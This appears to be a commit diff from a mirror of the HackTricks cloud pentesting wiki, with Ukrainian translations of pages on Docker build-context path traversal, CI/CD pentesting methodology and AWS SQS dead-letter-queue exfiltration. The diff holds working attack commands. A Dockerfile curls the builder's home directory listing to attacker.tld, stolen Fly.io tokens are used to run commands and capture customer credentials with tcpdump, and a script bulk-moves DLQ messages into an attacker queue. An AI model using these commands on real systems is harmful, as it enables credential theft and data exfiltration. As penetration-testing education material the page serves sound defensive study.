mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p
This commit is contained in:
Translator
@@ -0,0 +1,101 @@
|
||||
# Зловживання Docker Build Context у Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Якщо платформа CI/CD або hosted builder дозволяє контриб’юторам вказувати шлях Docker build context та шлях до Dockerfile, часто можна встановити context на батьківський каталог (наприклад, "..") і зробити файли хоста частиною build context. Потім Dockerfile під контролем атакача може за допомогою COPY exfiltrate секрети, знайдені в домашній теці користувача билдера (наприклад, ~/.docker/config.json). Вкрадені registry tokens можуть також працювати проти провайдера control-plane APIs, що дозволяє org-wide RCE.
|
||||
|
||||
## Поверхня атаки
|
||||
|
||||
Багато hosted builder/registry сервісів роблять приблизно так під час збірки images, надісланих користувачем:
|
||||
- Читають repo-level конфіг, який містить:
|
||||
- build context path (відправляється в Docker daemon)
|
||||
- Dockerfile path відносно цього context
|
||||
- Copy зазначену директорію build context і Dockerfile в Docker daemon
|
||||
- Build image і запустити його як hosted service
|
||||
|
||||
Якщо платформа не канонізує й не обмежує build context, користувач може встановити його в локацію поза репозиторієм (path traversal), через що довільні файли хоста, доступні для читання build user‑у, стають частиною build context і доступні для COPY у Dockerfile.
|
||||
|
||||
Практичні обмеження, які часто спостерігаються:
|
||||
- Dockerfile повинен знаходитися в обраному шляху context і його шлях має бути відомий наперед.
|
||||
- Build user повинен мати права на читання файлів, включених у context; спеціальні device файли можуть зламати copy.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Example malicious server config declaring a Dockerfile within the parent directory context:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
Примітки:
|
||||
- Використання ".." часто вказує на домашню директорію користувача builder (e.g., /home/builder), яка зазвичай містить чутливі файли.
|
||||
- Розмістіть ваш Dockerfile під іменем директорії repo (e.g., repo "test" → test/Dockerfile), щоб він залишався в розширеному батьківському контексті.
|
||||
|
||||
## PoC: Dockerfile для ingest та exfiltrate контексту хоста
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
Targets commonly recovered from $HOME:
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
Tip: Even with a .dockerignore in the repository, the vulnerable platform-side context selection still governs what gets sent to the daemon. If the platform copies the chosen path to the daemon before evaluating your repo’s .dockerignore, host files may still be exposed.
|
||||
|
||||
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
|
||||
|
||||
Деякі платформи видають один bearer token, який можна використовувати як для container registry, так і для control-plane API. Якщо ви exfiltrate registry token, спробуйте застосувати його до provider API.
|
||||
|
||||
Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
|
||||
|
||||
Перелічити додатки в організації:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
Запустити команду як root всередині будь-якої машини додатка:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Результат: на рівні всієї організації remote code execution у всіх розміщених додатках, якщо токен має достатні привілеї.
|
||||
|
||||
## Крадіжка секретів із скомпрометованих розміщених сервісів
|
||||
|
||||
За наявності exec/RCE на розміщених серверах ви можете зібрати секрети, надані клієнтом (API keys, tokens), або виконати prompt-injection attacks. Приклад: встановіть tcpdump і перехопіть HTTP traffic на порту 8080, щоб витягти вхідні облікові дані.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Захоплені запити часто містять облікові дані клієнта в заголовках, у тілі або в параметрах запиту.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Методологія Pentesting CI/CD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,98 +6,105 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найпоширеніша — **git**, і ви зазвичай знайдете компанії, що використовують його на одній з наступних **platforms**:
|
||||
VCS означає **Version Control System**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найпоширеніша — **git**, і зазвичай ви знайдете компанії, що використовують його на одній із наступних **платформ**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Gitblit
|
||||
- Cloud providers (they offer their own VCS platforms)
|
||||
- Cloud providers (вони пропонують власні VCS платформи)
|
||||
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines дозволяють розробникам **автоматизувати виконання коду** з різними цілями, включно зі збіркою, тестуванням та деплоєм додатків. Ці автоматизовані робочі процеси **тригеряться певними діями**, такими як push-і, pull request-и або заплановані задачі. Вони корисні для оптимізації шляху від розробки до production.
|
||||
CI/CD pipelines дозволяють розробникам **автоматизувати виконання коду** для різних цілей, включно зі збіркою, тестуванням та деплоєм додатків. Ці автоматизовані робочі процеси **тригеряться специфічними діями**, такими як push-і коду, pull requests або плановані завдання. Вони допомагають оптимізувати процес від розробки до production.
|
||||
|
||||
Однак ці системи потрібно **виконувати десь** і зазвичай з **привілейованими обліковими даними для деплою коду або доступу до чутливої інформації**.
|
||||
Однак такі системи потрібно **дещо виконувати десь**, і зазвичай з **привілейованими обліковими даними для деплою коду або доступу до чутливої інформації**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Навіть якщо деякі VCS platforms дозволяють створювати pipelines, в цьому розділі ми будемо аналізувати лише потенційні атаки на контроль над вихідним кодом.
|
||||
> Навіть якщо деякі VCS платформи дозволяють створювати pipelines для цього розділу, ми будемо аналізувати лише потенційні атаки на контроль над вихідним кодом.
|
||||
|
||||
Платформи, що містять код вашого проекту, містять чутливу інформацію, тому потрібно бути дуже уважним із дозволами, виданими всередині цієї платформи. Ось кілька поширених проблем на VCS platforms, якими може зловживати attacker:
|
||||
Платформи, що містять вихідний код вашого проєкту, містять чутливу інформацію, тому потрібно дуже уважно ставитися до дозволів у цій платформі. Ось деякі поширені проблеми у VCS платформах, якими може зловживати атакувальник:
|
||||
|
||||
- **Leaks**: Якщо ваш код містить leaks у комітах і attacker може отримати доступ до repo (бо він публічний або тому що attacker має доступ), він може виявити ці leaks.
|
||||
- **Access**: Якщо attacker може **получити доступ до аккаунта всередині VCS platform** — він може отримати **більшу видимість і дозволи**.
|
||||
- **Register**: Деякі платформи просто дозволяють зовнішнім користувачам створювати акаунти.
|
||||
- **SSO**: Деякі платформи не дозволяють реєстрацію, але дозволяють будь-кому увійти з валідним SSO (тому attacker, наприклад, може використати свій github акаунт для входу).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... існує кілька типів токенів, які користувач може вкрасти, щоб отримати доступ до repo.
|
||||
- **Webhooks**: VCS platforms дозволяють генерувати webhooks. Якщо вони **не захищені** невидимими secrets — **attacker може ними зловживати**.
|
||||
- Якщо секрет відсутній, attacker може зловживати webhook-ом третьої сторони.
|
||||
- Якщо secret знаходиться в URL, те ж саме відбувається, і attacker також отримує secret.
|
||||
- **Code compromise:** Якщо зловмисник має якусь форму **write** доступу до репозиторіїв, він може спробувати **інжектити шкідливий код**. Щоб бути успішним, можливо, доведеться **обійти branch protections**. Ці дії можуть виконуватись з різними цілями:
|
||||
- Компрометувати main branch, щоб **компрометувати production**.
|
||||
- Компрометувати main (або інші гілки), щоб **компрометувати машини розробників** (оскільки вони зазвичай виконують тести, terraform чи інші речі з репо на своїх машинах).
|
||||
- **Leaks**: Якщо ваш код містить leaks у комітах і атакувальник може отримати доступ до репозиторію (бо він public або тому що в нього є доступ), він може виявити ці leaks.
|
||||
- **Access**: Якщо атакувальник може **отримати доступ до облікового запису в VCS платформі**, він може отримати **більшу видимість і права**.
|
||||
- **Register**: Деякі платформи дозволяють зовнішнім користувачам просто створювати облікові записи.
|
||||
- **SSO**: Деякі платформи не дозволяють реєстрацію, але дозволяють входити через дійсний SSO (тому атакувальник, наприклад, може використати свій github обліковий запис для входу).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... існує кілька типів токенів, які користувач може вкрасти, щоб отримати доступ до репо.
|
||||
- **Webhooks**: VCS платформи дозволяють генерувати webhooks. Якщо вони **не захищені** невидимими секретами, **атакувальник може зловживати ними**.
|
||||
- Якщо секрет відсутній, атакувальник може зловживати webhook-ом третьої сторони.
|
||||
- Якщо секрет знаходиться в URL, те ж саме відбувається і атакувальник також має секрет.
|
||||
- **Code compromise:** Якщо зловмисник має який-небудь **записувальний доступ** до репозиторіїв, він може спробувати **інжектувати шкідливий код**. Щоб бути успішним, йому може знадобитися **обійти branch protections**. Ці дії можуть виконуватися з різними цілями:
|
||||
- Компроментувати main branch, щоб **компрометувати production**.
|
||||
- Компрометувати main (або інші гілки), щоб **компрометувати машини розробників** (оскільки вони зазвичай виконують тести, terraform або інші речі з репо на своїх машинах).
|
||||
- **Compromise the pipeline** (див. наступний розділ)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Найпоширеніший спосіб визначити pipeline — це використати **CI configuration file, розміщений у репозиторії**, який цей pipeline збирає. Цей файл описує порядок виконання jobs, умови, що впливають на потік, та налаштування середовища збірки.\
|
||||
Такі файли зазвичай мають постійну назву та формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), а також GitHub Actions YAML файли під .github/workflows. Коли тригериться job pipeline, він **pull-ить код** із вибраного джерела (наприклад commit / branch) і **виконує команди, вказані в CI configuration file**, відносно цього коду.
|
||||
Найпоширеніший спосіб визначити pipeline — через **CI configuration file, який зберігається у репозиторії**, який pipeline збирає. Цей файл описує порядок виконуваних job-ів, умови, що впливають на потік, і налаштування середовища збірки.\
|
||||
Такі файли зазвичай мають консистентну назву і формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), і GitHub Actions YAML файли під .github/workflows. Коли pipeline тригериться, job **забирає код** з обраного джерела (наприклад commit / branch) і **виконує команди, вказані в CI configuration file**, над цим кодом.
|
||||
|
||||
Отже кінцева мета attacker-а — якось **компрометувати ті конфігураційні файли** або **команди, які вони виконують**.
|
||||
Отже кінцева мета атакувальника — якимось чином **компрометувати ці configuration files** або **команди, які вони виконують**.
|
||||
|
||||
> [!TIP]
|
||||
> Деякі hosted builders дозволяють контрибьюторам обирати Docker build context та Dockerfile path. Якщо context контролюється атакувальником, ви можете вказати його за межами репо (наприклад, ".."), щоб інжестити файли хоста під час збірки і ексфільтрувати secrets. Див.:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Шлях Poisoned Pipeline Execution (PPE) експлуатує права в SCM repository для маніпуляції CI pipeline та виконання шкідливих команд. Користувачі з необхідними правами можуть змінювати CI configuration files або інші файли, які використовуються job-ом pipeline, щоб включити шкідливі команди. Це «отруює» CI pipeline, приводячи до виконання цих шкідливих команд.
|
||||
Poisoned Pipeline Execution (PPE) шлях експлуатує права в SCM репозиторії, щоб маніпулювати CI pipeline і виконувати шкідливі команди. Користувачі з необхідними дозволами можуть змінювати CI configuration files або інші файли, які використовує job pipeline, щоб включити шкідливі команди. Це "отруює" CI pipeline, призводячи до виконання цих шкідливих команд.
|
||||
|
||||
Для того, щоб зловмисник успішно провів PPE атаку, йому потрібно:
|
||||
Щоб зловмисник міг успішно виконати PPE атаку, йому потрібно:
|
||||
|
||||
- Мати **write access до VCS platform**, оскільки зазвичай pipelines тригеряться при push або pull request. (Перегляньте VCS pentesting methodology для резюме способів отримання доступу).
|
||||
- Зверніть увагу, що іноді **external PR рахується як "write access"**.
|
||||
- Навіть маючи write permissions, потрібно бути впевненим, що він може **змінити CI config file або інші файли, на які опирається конфіг**.
|
||||
- Для цього йому, можливо, доведеться **обійти branch protections**.
|
||||
- Мати **write access до VCS платформи**, оскільки зазвичай pipelines тригеряться при push або pull request. (Див. VCS pentesting methodology для підсумку способів отримати доступ).
|
||||
- Зверніть увагу, що інколи **зовнішній PR рахується як "write access"**.
|
||||
- Навіть якщо в нього є права запису, йому потрібно бути впевненим, що він може **змінити CI config file або інші файли, на які опирається конфіг**.
|
||||
- Для цього йому може знадобитися **обійти branch protections**.
|
||||
|
||||
Існує 3 варіанти PPE:
|
||||
Є 3 варіанти PPE:
|
||||
|
||||
- **D-PPE**: **Direct PPE** — коли actor **безпосередньо модифікує CI config** файл, який буде виконуватись.
|
||||
- **I-DDE**: **Indirect PPE** — коли actor **модифікує** файл, на який CI config покладається (наприклад Makefile або terraform config).
|
||||
- **Public PPE or 3PE**: У деяких випадках pipelines можуть бути **тригерені користувачами, які не мають write access до repo** (і навіть які можуть не бути частиною org), бо вони можуть надіслати PR.
|
||||
- **3PE Command Injection**: Зазвичай CI/CD pipelines будуть **встановлювати env variables** з **інформацією про PR**. Якщо attacker може контролювати це значення (наприклад заголовок PR) і воно **використовується** у **небезпечному місці** (наприклад при виконанні sh команд), attacker може **інжектити туди команди**.
|
||||
- **D-PPE**: **Direct PPE** відбувається, коли актор **змінює CI config** файл, який буде виконано.
|
||||
- **I-DDE**: **Indirect PPE** відбувається, коли актор **змінює** файл, на який **опирається CI config** (наприклад make file або terraform конфіг).
|
||||
- **Public PPE or 3PE**: Іноді pipelines можуть бути **тригерені користувачами, які не мають write access в репо** (і які можуть навіть не входити до організації), тому що вони можуть надіслати PR.
|
||||
- **3PE Command Injection**: Зазвичай CI/CD pipelines встановлюють environment variables з інформацією про PR. Якщо це значення може контролюватися атакувальником (наприклад заголовок PR) і **використовується** у **небезпечному місці** (наприклад при виконанні sh команд), атакувальник може **інжектувати команди туди**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Знаючи 3 варіанти отруєння pipeline, перевіримо, що attacker може отримати після успішної експлуатації:
|
||||
Знаючи 3 варіанти отруєння pipeline, подивимося, що атакувальник може отримати після успішної експлуатації:
|
||||
|
||||
- **Secrets**: Як згадувалося раніше, pipelines потребують **привілеїв** для своїх jobs (отримати код, збирати, деплоїти тощо) і ці привілеї зазвичай **видані у вигляді secrets**. Ці secrets зазвичай доступні через **env variables або файли в системі**. Тому attacker завжди буде намагатися ексфільтрувати якомога більше secrets.
|
||||
- Залежно від платформи pipeline, attacker **може потребувати вказати secrets у конфіг**. Це означає, що якщо attacker не може змінити CI configuration pipeline (наприклад I-PPE), він може **викрасти лише ті secrets, що присутні у цього pipeline**.
|
||||
- **Computation**: Код виконується десь; залежно від місця виконання attacker може здійснити подальший pivot.
|
||||
- **On-Premises**: Якщо pipelines виконуються on-premises, attacker може опинитися в **внутрішній мережі з доступом до додаткових ресурсів**.
|
||||
- **Cloud**: Attacker може отримати доступ **до інших машин у cloud**, а також ексфільтрувати IAM roles/service accounts **tokens**, щоб отримати **подальший доступ у cloud**.
|
||||
- **Platforms machine**: Інколи jobs виконуються на **машинах платформи pipeline**, які зазвичай знаходяться в cloud і не мають додаткового доступу.
|
||||
- **Select it:** Іноді **платформа pipeline має кілька машин**, і якщо ви можете **змінити CI configuration file**, ви можете **вказати, де запускати шкідливий код**. У такій ситуації attacker, ймовірно, запустить reverse shell на кожній доступній машині, щоб спробувати експлуатувати її далі.
|
||||
- **Compromise production**: Якщо ви всередині pipeline і фінальна версія збирається та деплоїться звідти, ви можете **компрометувати код, який потім виконуватиметься в production**.
|
||||
- **Secrets**: Як згадувалося раніше, pipelines потребують **привілеїв** для своїх job-ів (отримати код, збірка, деплой ...) і ці привілеї зазвичай **зберігаються в secrets**. Ці secrets зазвичай доступні через **env variables або файли в системі**. Тому атакувальник завжди намагатиметься ексфільтрувати якомога більше secrets.
|
||||
- Залежно від платформи pipeline атакувальник **може бути вимушений вказати secrets у конфігу**. Це означає, що якщо атакувальник не може змінити CI configuration pipeline (**I-PPE** наприклад), він може **експортувати лише ті secrets, які має цей pipeline**.
|
||||
- **Computation**: Код виконується десь, і залежно від місця виконання атакувальник може зуміти півертувати далі.
|
||||
- **On-Premises**: Якщо pipelines виконуються on-premises, атакувальник може опинитися в **внутрішній мережі з доступом до додаткових ресурсів**.
|
||||
- **Cloud**: Атакувальник може отримати доступ до **інших машин у cloud**, а також може **ексфільтрувати** IAM roles/service accounts **tokens** з нього, щоб отримати **дальший доступ усередині cloud**.
|
||||
- **Platforms machine**: Іноді jobs виконуються всередині **pipelines platform machines**, які зазвичай знаходяться в cloud і не мають додаткового доступу.
|
||||
- **Select it:** Інколи **pipelines platform має кілька машин**, і якщо ви можете **змінити CI configuration file**, ви можете **вказати, де ви хочете запускати шкідливий код**. У цій ситуації атакувальник, швидше за все, запустить reverse shell на кожній можливій машині, щоб спробувати експлуатувати її далі.
|
||||
- **Compromise production**: Якщо ви всередині pipeline і фінальна версія збирається і деплоїться з нього, ви можете **компрометувати код, який потім запуститься в production**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) — open-source tool для аудиту вашого software supply chain stack на відповідність безпеці, базований на новому [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит зосереджений на всьому SDLC процесі, де можна виявити ризики від часу коду до часу деплою.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) — відкритий інструмент для аудиту вашого software supply chain стеку на відповідність безпеці на основі нового [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит фокусується на всьому SDLC процесі, де він може виявити ризики від часу створення коду до моменту деплою.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Перегляньте цікаву статтю про топ-10 CI/CD ризиків за версією Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Перегляньте цікаву статтю про топ-10 ризиків CI/CD згідно з Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- На кожній платформі, яку ви можете запускати локально, ви знайдете інструкцію, як запустити її локально, щоб налаштувати і протестувати.
|
||||
- Для кожної платформи, яку ви можете запустити локально, описано, як її підняти, щоб ви могли налаштувати її як завгодно для тестування
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** — static code analysis tool для infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** — це static code analysis інструмент для infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
-154
@@ -1,154 +0,0 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Опис
|
||||
|
||||
Зловживання task-ами переміщення повідомлень SQS для викрадення всіх накопичених повідомлень із Dead-Letter Queue (DLQ) жертви, перенаправляючи їх у чергу, контрольовану атакуючим, використовуючи `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для exfiltrate sensitive data, що накопичилися в DLQ з часом.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Dead-Letter Queue — це спеціальна SQS queue, куди повідомлення автоматично надсилаються, коли основна програма не змогла їх успішно обробити. Ці невдалі повідомлення часто містять:
|
||||
- Чутливі дані додатка, які не вдалося обробити
|
||||
- Деталі помилок та інформацію для дебагу
|
||||
- Персональні ідентифікуючі дані (PII)
|
||||
- API токени, облікові дані або інші секрети
|
||||
- Критично важливі бізнес-транзакційні дані
|
||||
|
||||
DLQ виступають як «кладовище» для невдалих повідомлень, через що вони є цінними цілями, оскільки з часом накопичують чутливі дані, які додатки не змогли обробити.
|
||||
|
||||
## Сценарій атаки
|
||||
|
||||
**Приклад із реального життя:**
|
||||
1. **E-commerce application** обробляє замовлення клієнтів через SQS
|
||||
2. **Деякі замовлення не проходять** (проблеми з оплатою, інвентарем тощо) і потрапляють у DLQ
|
||||
3. **DLQ накопичує** тижні/місяці невдалих замовлень, що містять дані клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Атакуючий отримує доступ** до AWS облікових даних із дозволами на SQS
|
||||
5. **Атакуючий виявляє**, що DLQ містить тисячі невдалих замовлень із чутливими даними
|
||||
6. **Замість того щоб намагатися отримати доступ до окремих повідомлень** (повільно і помітно), атакуючий використовує `StartMessageMoveTask` для масового перенесення ВСІХ повідомлень у власну чергу
|
||||
7. **Атакуючий витягує** всю історичну чутливу інформацію за одну операцію
|
||||
|
||||
## Вимоги
|
||||
- Джерельна queue має бути налаштована як DLQ (посилається принаймні однією чергою через RedrivePolicy).
|
||||
- IAM permissions (виконуються від імені скомпрометованого принципалу жертви):
|
||||
- На DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- На destination queue: дозвіл на доставку повідомлень (наприклад, політика черги, що дозволяє `sqs:SendMessage` від принципалу жертви). Для destination в тому ж акаунті це зазвичай дозволено за замовчуванням.
|
||||
- Якщо увімкнено SSE-KMS: на source CMK `kms:Decrypt`, а на destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Вплив
|
||||
Exfiltrate sensitive payloads, що накопичилися в DLQ (невдалі події, PII, токени, payload-и додатків) з великою швидкістю, використовуючи нативні SQS API. Працює cross-account, якщо політика destination queue дозволяє `SendMessage` від принципалу жертви.
|
||||
|
||||
## Як зловживати
|
||||
|
||||
- Виявити ARN victim DLQ і переконатися, що вона дійсно використовується як DLQ хоча б однією чергою (будь-яка черга підходить).
|
||||
- Створити або вибрати чергу, контрольовану атакуючим, і отримати її ARN.
|
||||
- Запустити message move task зі жертви DLQ у вашу destination queue.
|
||||
- Моніторити прогрес або скасувати за потреби.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, яка містить невдалі спроби обробки замовлень клієнтів.
|
||||
|
||||
1) **Виявити та дослідити DLQ жертви**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Створити attacker-controlled destination queue**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Виконати масове викрадення повідомлень**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Зібрати викрадені конфіденційні дані**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Міжакаунтні примітки
|
||||
- Чергa призначення повинна мати політику ресурсу, яка дозволяє принципалу жертви виконувати `sqs:SendMessage` (і, якщо використовується, гранти/дозволи KMS).
|
||||
|
||||
## Чому ця атака ефективна
|
||||
|
||||
1. **Легітимна функція AWS**: Використовує вбудований функціонал AWS, що ускладнює виявлення як шкідливу активність
|
||||
2. **Масова операція**: Швидко переносить тисячі повідомлень замість повільного поодинокого доступу
|
||||
3. **Історичні дані**: DLQs накопичують чутливі дані протягом тижнів/місяців
|
||||
4. **Поза увагою**: Багато організацій не відстежують доступ до DLQ ретельно
|
||||
5. **Підтримка міжакаунтного доступу**: Може вивести дані в власний AWS акаунт нападника, якщо дозволи дозволяють
|
||||
|
||||
## Виявлення та запобігання
|
||||
|
||||
### Виявлення
|
||||
Моніторьте CloudTrail на предмет підозрілих викликів API `StartMessageMoveTask`:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Запобігання
|
||||
1. **Принцип найменших привілеїв**: Обмежте дозволи `sqs:StartMessageMoveTask` лише необхідними ролями
|
||||
2. **Monitor DLQs**: Налаштуйте CloudWatch alarms для виявлення аномальної активності DLQs
|
||||
3. **Cross-Account Policies**: Ретельно перевіряйте політики черг SQS, що дозволяють доступ між акаунтами
|
||||
4. **Encrypt DLQs**: Використовуйте SSE-KMS з обмеженими політиками ключів
|
||||
5. **Regular Cleanup**: Не дозволяйте чутливим даним накопичуватися в DLQs безстроково
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
